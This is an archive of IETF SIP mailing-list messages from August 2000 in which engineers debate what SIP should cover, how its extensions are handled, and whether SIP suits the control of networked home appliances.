(8.9.1a/8.9.1a) with ESMTP id HAA05900 for ; Thu, 3 Aug 2000 07:54:54 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 019CA4437B; Thu, 3 Aug 2000 07:54:10 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by lists.bell-labs.com (Postfix) with ESMTP id 6B85F44337 for ; Thu, 3 Aug 2000 07:54:07 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42261) id <0FYP00701T23OR@firewall.mcit.com> for sip@lists.bell-labs.com; Thu, 3 Aug 2000 11:54:03 +0000 (GMT) Received: from dgismtp04.wcomnet.com ([166.38.58.144]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0FYP00DI3T237G@firewall.mcit.com>; Thu, 03 Aug 2000 11:54:03 +0000 (GMT) Received: from CONVERSION-DAEMON by dgismtp04.wcomnet.com (PMDF V5.2-33 #42262) id <0FYP00F01T3F5Z@dgismtp04.wcomnet.com>; Thu, 03 Aug 2000 11:54:51 +0000 (GMT) Received: from dgismtp04.wcomnet.com by dgismtp04.wcomnet.com (PMDF V5.2-33 #42262) with SMTP id <0FYP00F01T3B2B@dgismtp04.wcomnet.com>; Thu, 03 Aug 2000 11:54:51 +0000 (GMT) Received: from C25776A ([166.46.19.41]) by dgismtp04.wcomnet.com (PMDF V5.2-33 #42262) with SMTP id <0FYP00BKIT37L3@dgismtp04.wcomnet.com>; Thu, 03 Aug 2000 11:54:45 +0000 (GMT) Date: Thu, 03 Aug 2000 06:53:53 -0500 From: Henry Sinnreich Subject: RE: [SIP] What do we want with SIP? In-reply-to: <00fc01bffd38$d317a000$9940000a@sasi.com> To: Srinath A , siplist Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit When the phone was invented its main purpose was believed to be to enjoy opera music from home. Interactive conversations were not on the list of applications. Have a nice set of prints from the 1890's about the "Future of the Telephone" on this topic. Henry >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of Srinath A >Sent: Thursday, August 03, 2000 5:52 AM >To: siplist >Subject: Re: [SIP] What do we want with SIP? > > >Hi all, > In my opinion, the fact that SIP is being extended >to incorporate functions other than Session >Initiation, need not be one that has a negative >impact. The reason for this is that all these >extensions add features to the protocol that are >relevant to a particular service, like say IM, in a >manner which does not affect the operation of other >functions. Many of these extensions probably >make use of the User location and authentication >facilities offered by SIP in order to achieve their >goals. All the specific processing takes place in the >end points, which are configured to particular >needs. If an end point does not support the MESSAGE >method then it rejects it. Another UA will >probably take care of IM only. > > The network components should take care of routing >in an extension independent fashion.All >extensions should place least requirements on these >elements. These rules should ensure >interoperability among devices with varying capabilities. > > A suggestion: Is there harm in trying to >incorporate MGCP functionality into SIP using the >presence and IM extensions, similar to the control of >NA's ? :-) > > Comments? > >Regards, > >Srinath A > Silicon Automation Systems Phone: 5276100, >5276108 extn 4220 > #1309, 10th Main, HAL III Stage > Bangalore 560 008, India >Company Home: www.sasi.com >Home: http://www.geocities.com/srinath_tvpm > > >----- Original Message ----- >From: Arnoud van Wijk (ETM) >To: 'SIP' >Sent: Thursday, August 03, 2000 3:08 PM >Subject: [SIP] What do we want with SIP? > > >> Scott Petrack's message indeed made me realise that >to my impression we all are not really sure on >what the duty for SIP will be. >> A real danger what is possibly going to happen is >that we all want to add headers and other >extensions to SIP, that before we realise, SIP will >act like a fat pregnant elephant instead of a >sleek and fast gazelle. >> >> SIP is indeed very good at Initiating a Session, and >then hand it off to a different protocol. >Like RTP or RSVP etc. Preconditions set in the header >will also be a good idea, but for exactly >which protocols? >> >> In fact, what do we plan to use SIP for? We all have >a different idea what we want SIP to do for >ourselves. I am not immune either. >> Maybe it is a very good idea to form a consensus on >what we want SIP to do for us. >> Do we want SIP for: >> Only IP-telephony? >> Also Multimedia IP sessions on 1. a computer, 2 a >mobile digital board (PIM/PDA/WAP/UMTS phone >etc)? >> Do we want home appliances and other machines be >able to send us info via SIP? >> Do we want to send instant messaging via SIP? >> Do we want SIP to track mobility of the user? >> Do we want to use SIP to handle the AAA services? >(Billing of network usage and QoS and the >service from content providers, like a database search >or keeping track of the IP session duration >and the amount of data passing through the UAs used >for the session)? >> >> With good planning, many of those tasks can overlap >each other. >> >> If we try to make a list of what the required duties >of SIP are and what can be handed off to the >protocol that SIP is initiating the session for. >> Then we can really define which headers are really >necessary for SIP (like the media type audio, text> and language , >and which headers will just refer to the >preconditions of the handed off protocol options and QoS options and OSP tokens for AAA >services>). >> With our combined visions, we should be able to do this. >> The ideal to obtain is publish it once and then many >years without any new versions of SIP. While >the possebilities of SIP continue to expand (at >application level). >> >> Also, when we know which protocols are required to >team up with SIP, we will get those protocols >also finished and ready for use. >> Future protocols should be easily be added to SIP in >the Content-Type header >(draft-ietf-sip-rfc2543bis-00). >> So that most future changes will be on UAs level on >how to process the offered protocols, instead >of how to send/receive and read/write/understand SIP messages. >> >> Well those were my 2 Euro cents. >> This mail is not intended to show any disrespect nor >to discard all the efforts. I just hope to >have all of us team up and sail in ONE direction. >> >> Arnoud >> >_______________________________________________________________ >> ERICSSON TELECOMMUNICATIE BV >> Arnoud van Wijk >> Research & Development >> ETM/BL/RE >> Fax: +31-161 247569 >> >_______________________________________________________________ >> >> >> >> >> >> _______________________________________________ >> SIP mailing list >> SIP@lists.bell-labs.com >> http://lists.bell-labs.com/mailman/listinfo/sip > > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 08:27:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA12861 for ; Thu, 3 Aug 2000 08:27:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CF8D14438F; Thu, 3 Aug 2000 08:27:08 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from 192.116.213.130 (unknown [192.116.213.130]) by lists.bell-labs.com (Postfix) with SMTP id 1B32B44337 for ; Thu, 3 Aug 2000 08:27:03 -0400 (EDT) Received: from nt-mail.tlv.radvision.com ([172.20.2.100]) by 192.116.213.130 ; Thu, 03 Aug 2000 15:19:59 -0700 Received: by NT-MAIL with Internet Mail Service (5.5.2650.21) id ; Thu, 3 Aug 2000 15:25:11 +0300 Message-ID: From: Itamar Gilad To: "'Arnoud van Wijk (ETM)'" , "'SIP'" Subject: RE: [SIP] What do we want with SIP? Date: Thu, 3 Aug 2000 15:25:11 +0300 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Arnoud, I'm allowing myself to try and answer these valid questions although it's not really _my_ answer I'm giving, but rather a summary of answers I got from various key people in SIP to which I posed similar questions. I think a lot of people are wondering about these things so I hope I can save them some time. If I'm missing a point I'm sure someone will correct me before long. SIP is a signaling protocol where signaling is a shapeless, ever-growing term that roughly means "establishment-modification-termination of some sort of interactive real-time session between any two entities". The sessions may include voice, video, IM, games, a combination of those and much more (no, telnet is not included). The entities may be software clients for the above, IP phones, telephony GWs, mobile devices, Softswitches, MCUs, play stations and what-have-you. Each group brings its own (possibly) unique set of requirements to the signaling protocol. Throw into this pot also services (yet another vastly overloaded term) which SIP is supposed to accommodate: anything from transfer to next-gen your-refrigerator-is-calling-to-say-you're-out-of-milk. In short signaling in the context of SIP is a pretty big thing now with lots of different interest groups and lots of different priorities. The question (and I think that's basically what you were asking) is how do you accommodate all of this within one protocol. The answer is composed of two words: generality and extensibility. Baseline SIP (RFC 2543) attempts to be both general and highly extensible. All the fundamental session management stuff which is applicable to all applications (establishment, modification, termination, capabilities exchange, registration etc.) is there in the baseline spec. There's very little application-specific stuff though. This is intentional. The fundamental idea is: "if you want something more - extend or, better yet, use an existing extension". Baseline SIP provides mechanisms to add new methods, response codes, headers header params and much more and it allows extension announcement and negotiation so all parties of a call can be sure that a required extension is supported by all others. You can say extensions are encouraged in SIP. And there are plenty of extension proposals as anyone reading this mailing list knows. None of that is supposed to penetrate into RFC 2543, though. It's supposed to remain pure and backwards compatible for ever (Jonathan R's words: "there will be no version 2.1 of SIP"). The extensions will continue to develop and move along the standardization process as independent entities and eventually (hopefully) the "good" extensions will be finalized and gain popularity and the "bad" ones will die out from lack of demand or technological merit. There's not going to be a planning committee that says "this will become a part of SIP from now on" or "this is what SIP is about to be used for" because reaching an agreement on such issues is close to impossible. That's my 0.08 Shekel (2 US cent equivalent) :) Itamar > -----Original Message----- > From: Arnoud van Wijk (ETM) [mailto:Arnoud.van.Wijk@etm.ericsson.se] > Sent: Thu, August 03, 2000 12:39 PM > To: 'SIP' > Subject: [SIP] What do we want with SIP? > > > Scott Petrack's message indeed made me realise that to my > impression we all are not really sure on what the duty for > SIP will be. > A real danger what is possibly going to happen is that we all > want to add headers and other extensions to SIP, that before > we realise, SIP will act like a fat pregnant elephant instead > of a sleek and fast gazelle. > > SIP is indeed very good at Initiating a Session, and then > hand it off to a different protocol. Like RTP or RSVP etc. > Preconditions set in the header will also be a good idea, but > for exactly which protocols? > > In fact, what do we plan to use SIP for? We all have a > different idea what we want SIP to do for ourselves. I am not > immune either. > Maybe it is a very good idea to form a consensus on what we > want SIP to do for us. > Do we want SIP for: > Only IP-telephony? > Also Multimedia IP sessions on 1. a computer, 2 a mobile > digital board (PIM/PDA/WAP/UMTS phone etc)? > Do we want home appliances and other machines be able to send > us info via SIP? > Do we want to send instant messaging via SIP? > Do we want SIP to track mobility of the user? > Do we want to use SIP to handle the AAA services? (Billing of > network usage and QoS and the service from content providers, > like a database search or keeping track of the IP session > duration and the amount of data passing through the UAs used > for the session)? > > With good planning, many of those tasks can overlap each other. > > If we try to make a list of what the required duties of SIP > are and what can be handed off to the protocol that SIP is > initiating the session for. > Then we can really define which headers are really necessary > for SIP (like the media type and > language , and which headers will > just refer to the preconditions of the handed off protocol > ). > With our combined visions, we should be able to do this. > The ideal to obtain is publish it once and then many years > without any new versions of SIP. While the possebilities of > SIP continue to expand (at application level). > > Also, when we know which protocols are required to team up > with SIP, we will get those protocols also finished and ready for use. > Future protocols should be easily be added to SIP in the > Content-Type header (draft-ietf-sip-rfc2543bis-00). > So that most future changes will be on UAs level on how to > process the offered protocols, instead of how to send/receive > and read/write/understand SIP messages. > > Well those were my 2 Euro cents. > This mail is not intended to show any disrespect nor to > discard all the efforts. I just hope to have all of us team > up and sail in ONE direction. > > Arnoud > _______________________________________________________________ > ERICSSON TELECOMMUNICATIE BV > Arnoud van Wijk > Research & Development > ETM/BL/RE > Fax: +31-161 247569 > _______________________________________________________________ > > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 09:06:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22101 for ; Thu, 3 Aug 2000 09:06:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9FBEA44385; Thu, 3 Aug 2000 09:05:48 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id E697D44379 for ; Thu, 3 Aug 2000 09:05:44 -0400 (EDT) Received: from esealnt409.al.sw.ericsson.se (esealnt409.al.sw.ericsson.se [153.88.251.32]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e73D5ip07667 for ; Thu, 3 Aug 2000 15:05:44 +0200 (MEST) Received: from SMTP ([153.88.251.32]) by esealnt409.al.sw.ericsson.se with Microsoft SMTPSVC(5.0.2172.1); Thu, 3 Aug 2000 15:05:43 +0200 Received: from esealnt743.al.sw.ericsson.se ([153.88.251.13]) by 153.88.251.32 (Norton AntiVirus for Internet Email Gateways 1.0) ; Thu, 03 Aug 2000 13:05:43 0000 (GMT) Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id ; Thu, 3 Aug 2000 15:05:41 +0200 Message-ID: <56E7307B0850D411B1480008C75DD5EAB73C1C@enlrynt303.dsn.ericsson.se> From: "Arnoud van Wijk (ETM)" To: "'Itamar Gilad'" Cc: "'SIP'" Subject: RE: [SIP] What do we want with SIP? Date: Thu, 3 Aug 2000 15:04:25 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="ISO-8859-1" X-OriginalArrivalTime: 03 Aug 2000 13:05:43.0971 (UTC) FILETIME=[883C9730:01BFFD4B] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Itmar, Thank you for your reply. Your answer did confirm many of my musings and wonderings and eased my worries. The most important part is indeed that reference to Jonathan R's words: "there will be no version 2.1 of SIP". I am glad to see that the extensions proposals are seen as a seperate entity. And later, the good ones will deserve an official place next to SIP. This means that all UAs are required to read the RFC2543 defined headers, and can ignore any other headers? So in fact it is up to the UA creator to accept the "good" extensions given in the drafts. It may still be a very good idea to reach some consensus on which extensions are most promising and stimulate their acceptance. (note, it is then only to give developers an idea, not that this is a law on itself.) Arnoud -----Original Message----- From: Itamar Gilad [mailto:ItamarG@tlv.radvision.com] Sent: Thursday, August 03, 2000 2:25 PM To: 'Arnoud van Wijk (ETM)'; 'SIP' Subject: RE: [SIP] What do we want with SIP? Arnoud, I'm allowing myself to try and answer these valid questions although it's not really _my_ answer I'm giving, but rather a summary of answers I got from various key people in SIP to which I posed similar questions. I think a lot of people are wondering about these things so I hope I can save them some time. If I'm missing a point I'm sure someone will correct me before long. SIP is a signaling protocol where signaling is a shapeless, ever-growing term that roughly means "establishment-modification-termination of some sort of interactive real-time session between any two entities". The sessions may include voice, video, IM, games, a combination of those and much more (no, telnet is not included). The entities may be software clients for the above, IP phones, telephony GWs, mobile devices, Softswitches, MCUs, play stations and what-have-you. Each group brings its own (possibly) unique set of requirements to the signaling protocol. Throw into this pot also services (yet another vastly overloaded term) which SIP is supposed to accommodate: anything from transfer to next-gen your-refrigerator-is-calling-to-say-you're-out-of-milk. In short signaling in the context of SIP is a pretty big thing now with lots of different interest groups and lots of different priorities. The question (and I think that's basically what you were asking) is how do you accommodate all of this within one protocol. The answer is composed of two words: generality and extensibility. Baseline SIP (RFC 2543) attempts to be both general and highly extensible. All the fundamental session management stuff which is applicable to all applications (establishment, modification, termination, capabilities exchange, registration etc.) is there in the baseline spec. There's very little application-specific stuff though. This is intentional. The fundamental idea is: "if you want something more - extend or, better yet, use an existing extension". Baseline SIP provides mechanisms to add new methods, response codes, headers header params and much more and it allows extension announcement and negotiation so all parties of a call can be sure that a required extension is supported by all others. You can say extensions are encouraged in SIP. And there are plenty of extension proposals as anyone reading this mailing list knows. None of that is supposed to penetrate into RFC 2543, though. It's supposed to remain pure and backwards compatible for ever (Jonathan R's words: "there will be no version 2.1 of SIP"). The extensions will continue to develop and move along the standardization process as independent entities and eventually (hopefully) the "good" extensions will be finalized and gain popularity and the "bad" ones will die out from lack of demand or technological merit. There's not going to be a planning committee that says "this will become a part of SIP from now on" or "this is what SIP is about to be used for" because reaching an agreement on such issues is close to impossible. That's my 0.08 Shekel (2 US cent equivalent) :) Itamar _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 09:53:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05229 for ; Thu, 3 Aug 2000 09:53:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DB1214438F; Thu, 3 Aug 2000 09:51:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from breeze.research.telcordia.com (breeze-fddi.research.telcordia.com [192.4.5.9]) by lists.bell-labs.com (Postfix) with ESMTP id 0135F4438D for ; Thu, 3 Aug 2000 09:51:08 -0400 (EDT) Received: from stanpc.research.telcordia.com (stanpc [192.4.12.105]) by breeze.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e73Dp0Y12741; Thu, 3 Aug 2000 09:51:00 -0400 (EDT) Message-Id: <4.3.1.2.20000803093017.00b37e00@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Thu, 03 Aug 2000 09:50:59 -0400 To: "Ben Campbell" , From: Stan Moyer Cc: dmarples@research.telcordia.com, stsang@research.telcordia.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [SIP] Re: Comment on draft-moyer-sip-appliances-framework-00.txt Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a good question and one that we thought a lot about, so I'd be happy to share some of our thoughts on this subject with you. At 01:43 PM 8/2/2000 -0500, Ben Campbell wrote: >I have a general comment on the "Networked Appliances" draft. > >It seems to me that SIP is not an appropriate protocol for this purpose. It >falls into the category of using SIP for an RPC mechanism. It is not clear >to me how the primary features that distinguish SIP from something like HTTP >(finding location, mobility, etc) are needed for a networked appliance >protocol. First, I do not think that we are really using SIP as an RPC mechanism. Though an argument could be made for the case when we want to query the status of a device (e.g., "what's the temperature"). However, we believe that there is a need to communicate with networked devices in several different fashions: 1. Send a command to a device (e.g., "Turn on the light"). This is very similar to Instant Messaging except that it is to a device instead of to a human user (or application). So we propose to use the MESSAGE method in the impp drafts. 2. Query a device (as mentioned above). While it could be viewed as similar to an RPC, it could also be an Instant Message with an acknowledgement 3. Establish a "session" with a device (e.g., "view the baby-cam", or "send audio stream to stereo"). For this you would use a SIP INVITE with an SDP payload. 4. Asynchronous events (e.g., "notify me when the security alarm goes off"). This requires an event mechanism and the impp drafts describe SUBSCRIBE and NOTIFY messages that could be used for this. We were not able to find one protocol out there that could easily support all these communications paradigms. While it is true that several different protocols could be used, we believe that there is great value in using one protocol to support all these mechanisms for networked device communications. To only require one common infrastructure to be deployed, maintained, and managed is a big plus (IMO) for any architecture. There are maybe only a few devices (like a camera that establishes a session to transmit a video stream, and also accepts commands, e.g., via MESSAGE, to control -- e.g., pan, zoom, etc.) that may have convergence of these communications paradigms, but there will be many home domains that require this convergence. In addition to supporting the previously mentioned communications mechanism, networked devices also have other requirements. For example, - a general purpose addressing scheme - support for mobility/forwarding - security (privacy and authentication/authorization) In our opinion, SIP was the only protocol we found that met all of the combined requirements. Perhaps the framework draft does not do a good enough job of outlining these (and other) requirements and we would be better off with a separate requirements draft. We know that SIP was not originally intended for this purpose, but we think that using SIP for networked appliances does not put any additional burden/requirements on SIP (assuming the impp drafts are incorporated) and only adds to the overall attractiveness of SIP. >It is entirely possible I am missing something here. If so, please enlighten >me. I hope I answered your question(s), if not please let me know and I will provide additional info/detail. -Stan Moyer _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 10:02:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08316 for ; Thu, 3 Aug 2000 10:02:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 91F7944391; Thu, 3 Aug 2000 10:01:26 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from breeze.research.telcordia.com (breeze-fddi.research.telcordia.com [192.4.5.9]) by lists.bell-labs.com (Postfix) with ESMTP id 99AAE4438D for ; Thu, 3 Aug 2000 10:01:18 -0400 (EDT) Received: from stanpc.research.telcordia.com (stanpc [192.4.12.105]) by breeze.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e73E0LY13409; Thu, 3 Aug 2000 10:00:22 -0400 (EDT) Message-Id: <4.3.1.2.20000803095623.00b85660@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Thu, 03 Aug 2000 10:00:21 -0400 To: ndeason@ubiquity.net, schulzrinne@cs.columbia.edu, bcampbell@dynamicsoft.com From: Stan Moyer Subject: Re: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Cc: sip@lists.bell-labs.com, dmarples@research.telcordia.com, stsang@research.telcordia.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 11:14 PM 8/2/2000 +0000, Neil Deason wrote: One thing that is not clear to me is the relationship between >what is referred to as a service provider proxy and home >domain proxy with respect to REGISTERs/message routing. In >the simple access from home to work example the draft refers >to a UA in the home domain registering with the home domain >proxy and this information being propagated to the service >provider's domain. Without that occurring I can't see the message >routing between the two proxies in the subsequent call flow >working. Unfortunately there is no mechanism in SIP for this >propagation. So either the two proxies have another non SIP >based relationship between them or SIP would need extending >to accommodate such a mechanism. The draft is a little hand-wavy on this because we werre not entirely sure how to make it happen, but I don't think this case is specific to networked appliances. Our thoughts on how to do this would be for the UA in the home domain to REGISTER with it's home domain proxy, then do a DNS look-up and check the SRV record to see if there is another SIP Proxy listed for it. If there is (e.g., the service provider proxy), then it should also REGISTER with that proxy. Is this allowed -- we do not see why not? -Stan _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 10:06:48 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA10317 for ; Thu, 3 Aug 2000 10:06:47 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C5ADC443BD; Thu, 3 Aug 2000 10:04:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from dgesmtp01.wcom.com (dgesmtp01.wcom.com [199.249.16.16]) by lists.bell-labs.com (Postfix) with ESMTP id E52DE4438D for ; Thu, 3 Aug 2000 10:04:08 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42260) id <0FYP00G01Z2CUM@firewall.mcit.com> for sip@lists.bell-labs.com; Thu, 3 Aug 2000 14:03:49 +0000 (GMT) Received: from pmismtp04.wcomnet.com ([166.38.62.39]) by firewall.mcit.com (PMDF V5.2-33 #42260) with ESMTP id <0FYP00FDWZ223G@firewall.mcit.com>; Thu, 03 Aug 2000 14:03:38 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) id <0FYP00901YUVIW@pmismtp04.wcomnet.com>; Thu, 03 Aug 2000 13:59:19 +0000 (GMT) Received: from pmismtp04.wcomnet.com by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0FYP00901YUQI1@pmismtp04.wcomnet.com>; Thu, 03 Aug 2000 13:59:19 +0000 (GMT) Received: from C25776A ([166.46.20.101]) by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0FYP007FRYUCUT@pmismtp04.wcomnet.com>; Thu, 03 Aug 2000 13:59:03 +0000 (GMT) Date: Thu, 03 Aug 2000 09:03:12 -0500 From: Henry Sinnreich Subject: RE: [SIP] Re: Comment on draft-moyer-sip-appliances-framework-00.txt In-reply-to: <4.3.1.2.20000803093017.00b37e00@mailee.research.telcordia.com> To: Stan Moyer , Ben Campbell , sip@lists.bell-labs.com Cc: dmarples@research.telcordia.com, stsang@research.telcordia.com Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit >great value in using one >protocol to support all these mechanisms for networked device >communications. To only require one common >infrastructure to be deployed, >maintained, and managed is a big plus (IMO) for any >architecture. I believe many service providers would fully agree, given the cost of OSS and skill sets required for every protocol in the network. Henry Henry Sinnreich MCI WorldCom 400 International Parkway Richardson, Texas 75081 USA >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of Stan Moyer >Sent: Thursday, August 03, 2000 8:51 AM >To: Ben Campbell; sip@lists.bell-labs.com >Cc: dmarples@research.telcordia.com; >stsang@research.telcordia.com >Subject: [SIP] Re: Comment on >draft-moyer-sip-appliances-framework-00.txt > > >This is a good question and one that we thought a lot >about, so I'd be >happy to share some of our thoughts on this subject with you. > >At 01:43 PM 8/2/2000 -0500, Ben Campbell wrote: >>I have a general comment on the "Networked Appliances" draft. >> >>It seems to me that SIP is not an appropriate >protocol for this purpose. It >>falls into the category of using SIP for an RPC >mechanism. It is not clear >>to me how the primary features that distinguish SIP >from something like HTTP >>(finding location, mobility, etc) are needed for a >networked appliance >>protocol. > >First, I do not think that we are really using SIP as >an RPC mechanism. >Though an argument could be made for the case when we >want to query the >status of a device (e.g., "what's the temperature"). >However, we believe >that there is a need to communicate with networked >devices in several >different fashions: >1. Send a command to a device (e.g., "Turn on the >light"). This is very >similar to Instant Messaging except that it is to a >device instead of to a >human user (or application). So we propose to use the >MESSAGE method in the >impp drafts. >2. Query a device (as mentioned above). While it could >be viewed as similar >to an RPC, it could also be an Instant Message with an >acknowledgement >3. Establish a "session" with a device (e.g., "view >the baby-cam", or "send >audio stream to stereo"). For this you would use a SIP >INVITE with an SDP >payload. >4. Asynchronous events (e.g., "notify me when the >security alarm goes >off"). This requires an event mechanism and the impp >drafts describe >SUBSCRIBE and NOTIFY messages that could be used for this. > >We were not able to find one protocol out there that >could easily support >all these communications paradigms. While it is true >that several different >protocols could be used, we believe that there is >great value in using one >protocol to support all these mechanisms for networked device >communications. To only require one common >infrastructure to be deployed, >maintained, and managed is a big plus (IMO) for any >architecture. There are >maybe only a few devices (like a camera that >establishes a session to >transmit a video stream, and also accepts commands, >e.g., via MESSAGE, to >control -- e.g., pan, zoom, etc.) that may have >convergence of these >communications paradigms, but there will be many home >domains that require >this convergence. > >In addition to supporting the previously mentioned >communications >mechanism, networked devices also have other >requirements. For example, >- a general purpose addressing scheme >- support for mobility/forwarding >- security (privacy and authentication/authorization) >In our opinion, SIP was the only protocol we found >that met all of the >combined requirements. > >Perhaps the framework draft does not do a good enough >job of outlining >these (and other) requirements and we would be better >off with a separate >requirements draft. > >We know that SIP was not originally intended for this >purpose, but we think >that using SIP for networked appliances does not put >any additional >burden/requirements on SIP (assuming the impp drafts >are incorporated) and >only adds to the overall attractiveness of SIP. > > >>It is entirely possible I am missing something here. >If so, please enlighten >>me. > >I hope I answered your question(s), if not please let >me know and I will >provide additional info/detail. > >-Stan Moyer > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 10:08:39 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA10933 for ; Thu, 3 Aug 2000 10:08:39 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2926B443C2; Thu, 3 Aug 2000 10:06:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 479FF4438D for ; Thu, 